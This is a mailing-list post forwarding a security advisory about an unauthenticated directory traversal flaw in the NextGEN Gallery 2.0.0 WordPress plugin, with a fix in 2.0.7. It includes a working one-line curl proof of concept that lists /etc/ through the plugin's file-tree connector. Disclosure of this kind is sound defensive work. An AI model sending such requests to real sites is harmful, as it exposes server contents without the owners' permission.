Full Disclosure: Directory traversal in NextGEN Gallery 2.0.0 (WordPress plugin)

[Harry Metcalfe <harry () dxw com>]

https://security.dxw.com/advisories/directory-traversal-in-nextgen-gallery-2-0-0/
> Details
> ================
> Software: NextGEN Gallery
> Version: 2.0.0
> Homepage: http://wordpress.org/plugins/nextgen-gallery/
> CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:P/I:N/A:N)
>
>
> Description
> ================
> Directory traversal in NextGEN Gallery 2.0.0
>
> Vulnerability
> ================
> An unauthenticated POST request to a particular URI with a particular 
> parameter lists the contents of arbitrary directories.
> Proof of concept
> ================
> curl -i -d 'dir=/etc/' 
> http://localhost/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_addgallery_page/static/jquery.filetree/connectors/jqueryFileTree.php
> Mitigations
> ================
> This issue is reported to be fixed as of version 2.0.7. Prior versions 
> should be updated immediately.
> Timeline
> ================
> 2013-08-09: Reported to vendor
> 2013-08-09: Vendor reports fixed
> 2014-02-18: Published
>
> Discovered by:
> ================
> Tom Adams

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Harry Metcalfe
07790 559 876
@harrym

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